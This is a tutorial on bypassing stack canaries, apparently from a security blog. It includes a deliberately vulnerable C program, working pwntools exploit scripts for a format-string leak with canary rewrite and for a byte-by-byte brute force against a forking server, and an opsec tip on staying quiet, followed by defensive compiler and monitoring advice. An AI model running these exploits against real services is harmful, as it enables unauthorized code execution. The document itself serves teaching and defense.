Disclaimer: This article is provided strictly for educational purposes and authorized security testing. Only run these techniques against systems you own or have explicit written permission to assess. Unauthorized access to computer systems is illegal in virtually every jurisdiction and can carry severe penalties.
Introduction
The stack canary (also called a stack cookie, or in GCC/Clang terms the Stack Smashing Protector, SSP) is the mitigation that most directly targets the classic stack buffer overflow. The compiler places a random secret value on the stack between the local buffers and the saved frame pointer / return address, and the function epilogue verifies that the value is unchanged before executing ret. A linear overflow that reaches the saved return address must necessarily overwrite the canary on the way, so the check fails, __stack_chk_fail runs, and the process aborts before control is ever transferred. That single guard turns a great many textbook overflows into mere denial-of-service crashes.
But the canary is only a probabilistic barrier, and its guarantees rest on the secret staying secret and on the overflow being contiguous. In practice there are three durable families of bypass: leaking the canary through a separate read primitive and then writing it back into place, brute-forcing it one byte at a time when the target re-forks children that inherit the same value, and overwriting the master copy or avoiding the guarded region entirely so the check never fails. This article dissects the mechanism and then walks each bypass end-to-end with pwntools against a small Linux x86-64 target.
Attack Prerequisites
Canary defeats are situational — the right bypass depends entirely on which secondary primitive the target hands you. Generally you need at least one of the following alongside the overflow itself:
- An information-disclosure primitive — a format-string bug, an out-of-bounds read, an uninitialized-memory print, or any
printf/writethat can be steered to echo stack contents, so the canary can be read directly. - A forking server that does not re-randomize — a daemon that
fork()s a child per connection (withoutexecve) so every child shares the parent’s canary, enabling a byte-at-a-time brute force where each wrong guess only kills one child. - A write primitive that reaches the master canary or a target pointer — e.g. an arbitrary write to the TLS block at
fs:0x28, or an overwrite of the__stack_chk_failGOT entry under Partial RELRO. - Known binary layout —
checksecoutput and, for leaks, the stack offset (argument index) at which the canary appears.
How It Works
On x86-64 glibc, the canary lives in thread-local storage at fs:0x28. On thread creation the loader seeds it from the kernel (ultimately AT_RANDOM / getrandom), and crucially the least-significant byte is forced to 0x00. That null byte is deliberate: it makes the canary terminate C string operations, so a strcpy/gets-style overflow that starts at the buffer cannot leak the cookie by reading past it, and it costs the attacker one byte of entropy (a 64-bit canary is effectively 56 bits of randomness).
A protected prologue reads mov rax, fs:0x28 and stores it just below the saved rbp. The epilogue reloads the stored value and does xor rax, fs:0x28; if the result is non-zero it calls __stack_chk_fail, which prints * stack smashing detected * and raises SIGABRT. Because the comparison is against the live TLS value, simply learning the canary once is enough — as long as you can write the identical bytes back into the guarded slot, the xor yields zero and execution continues into your overwritten return address.
GCC offers three levels: -fstack-protector (only functions with char arrays over a threshold or that take the address of a local), -fstack-protector-strong (the modern distro default, far broader heuristics), and -fstack-protector-all (every function). Leaf functions with no arrays are frequently unprotected even under the default, which is itself a bypass avenue: if you can reach a return through an unguarded frame, no canary is in play.
Vulnerable Code / Setup
A deliberately vulnerable service. It leaks stack data through a format-string bug in one path and overflows a fixed buffer in another — the two primitives the leak-and-rewrite technique needs:
// gcc -fstack-protector-all -no-pie -o canary canary.c
#include <stdio.h>
#include <unistd.h>
void vuln(void) {
char buf[64];
printf("name? ");
fflush(stdout);
read(0, buf, 40);
printf(buf); // BUG 1: format string -> leak canary
puts("");
read(0, buf, 256); // BUG 2: 256 into buf[64] -> overflow
}
int main(void){ setvbuf(stdout,0,2,0); vuln(); return 0; }
Cchecksec confirms the guard is present. The canary is the only obstacle we must satisfy; NX is on but for the demonstration we return into a win/system path or a ROP chain covered in the ROP article:
$ checksec --file=./canary
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
TEXTWalkthrough / Exploitation
Technique 1 — Format-string leak, then rewrite. First locate the canary on the stack. Feed %p sequences and find the index whose value ends in 00 and looks like a 56-bit random (not a pointer into 0x7fff... or the binary). Here the canary sits a fixed number of qwords up from the format string:
from pwn import *
context.binary = elf = ELF('./canary')
io = process('./canary')
# leak: %N$p pulls the Nth stack qword. Sweep to find the canary slot.
io.sendafter(b'name? ', b'%15$p')
leak = int(io.recvline().split()[0], 16)
log.info(f'canary = {leak:#x}')
assert leak & 0xff == 0 # sanity: canary always ends in a null byte
PythonWith the canary known, the overflow payload simply reinserts it into the guard slot. Layout: 64-byte buffer, then the 8-byte canary, then saved rbp, then the return address. Rewrite the canary verbatim and continue into the chain:
canary = leak
pop_rdi = rop.find_gadget(['pop rdi','ret'])[0] if (rop:=ROP(elf)) else 0
binsh_call = elf.sym.get('win', elf.sym['main'])
payload = b'A' * 64 # fill buffer up to the canary
payload += p64(canary) # replace canary with itself -> xor == 0
payload += p64(0) # saved rbp (any value, not dereferenced yet)
payload += p64(rop.ret[0]) # stack-align (movaps) then...
payload += p64(binsh_call) # ...redirected control
io.send(payload)
io.interactive()
PythonTechnique 2 — Byte-by-byte brute force against a fork server. When the target fork()s and the child crashes without taking down the listener, the canary is constant across attempts. Guess the canary one byte at a time: fix the first byte to 0x00 (known), then try 0x00..0xff for the next byte; the correct guess does not trip __stack_chk_fail, so the child behaves differently (no stack smashing detected, or it survives to the next read). Worst case is 7 * 256 = 1792 connections rather than 2^56:
from pwn import *
OFF = 64 # buffer size before the canary
canary = b'\x00' # LSB is always null
while len(canary) < 8:
for b in range(256):
io = remote('target', 1337) # fresh forked child
io.sendafter(b'name? ', b'A'*OFF + canary + bytes([b]))
resp = io.recvall(timeout=1)
io.close()
if b'stack smashing' not in resp: # survived -> byte correct
canary += bytes([b])
log.success(f'byte {len(canary)-1}: {b:#04x}')
break
log.success(f'canary = {canary.hex()}')
PythonTechnique 3 — Overwrite / avoid the check. If you have an arbitrary write, you can set the master canary in TLS (fs:0x28) to a value you also write into the stack slot — then any overflow passes. Under Partial RELRO the __stack_chk_fail GOT entry is writable, so redirecting it (for instance to a win gadget or a ret) neutralizes the abort. Finally, if the vulnerable frame belongs to an unprotected leaf, or you can pivot the return through a function whose canary you never disturbed, the guard is simply never evaluated on your path.
Note: Each thread has its own canary derived from its own TLS block, but all threads in a process share the same
AT_RANDOM-seeded master, so within one process the value is stable. Afork()child inherits it; anexecvereplaces the whole image and re-seeds it — which is exactly why brute-forcing works againstfork-only servers and fails againstfork+exec(inetd-style) ones. Always confirm the model before spending 1792 connections.
Opsec: The brute force is loud: every wrong byte emits
* stack smashing detected *to the child’s stderr and typically anabrt/coredump event. On monitored hosts that is up to ~1792 SIGABRTs clustered in seconds — a trivial detection signature. A single-shot format-string leak is far quieter and should be preferred whenever a disclosure primitive exists.
Detection and Defense
Canaries are cheap and effective as one layer, but should never be the only one. Concrete controls and telemetry:
- Compile with
-fstack-protector-strong(or-all) plus-D_FORTIFY_SOURCE=2and-fstack-clash-protectionso more frames are guarded and unsafestr*/mem*calls gain bounds checks. - Eliminate the disclosure primitives — never pass user data as a format string; enable
-Wformat -Wformat-security -Werror=format-security. Without a leak, the leak-and-rewrite path disappears. - Prefer
fork+execveor per-request re-randomization for network daemons so children do not share a canary, defeating the brute force. - Monitor for
SIGABRTclusters and kernel* stack smashing detected * log lines (auditd, journald); a burst from one service in seconds is a brute-force signature. - Layer PIE/full RELRO and ASLR so that even a satisfied canary leaves the attacker without fixed gadget/GOT addresses.
Real-World Impact
Stack canaries have been the default on major Linux distributions and in the Windows /GS compiler flag for well over a decade, and they demonstrably raise the cost of memory-corruption exploitation. But byte-wise brute forcing of forking network services is a well-worn CTF and research technique precisely because so many daemons fork without exec, and format-string or out-of-bounds-read leaks routinely reduce a canary to a non-issue in real engagements. The practical takeaway from years of exploitation is consistent: a canary buys time and forces the attacker to find a second bug, but on its own it does not stop a determined operator who has any read primitive or a stable forking model.
Conclusion
The stack canary is a probabilistic guard whose entire strength is the secrecy and stability of one 56-bit value. Leak it once and you rewrite it back unchanged; get a stable forking child and you brute it a byte at a time; find an arbitrary write and you overwrite the master or the abort handler itself. None of these break the mitigation’s math — they sidestep its assumptions. Treat the canary as one course in a layered defense alongside PIE, full RELRO, fortification, and the elimination of the information leaks that make every one of these bypasses possible.
You Might Also Like
If you found this useful, these related deep-dives cover adjacent techniques and their defenses:



Comments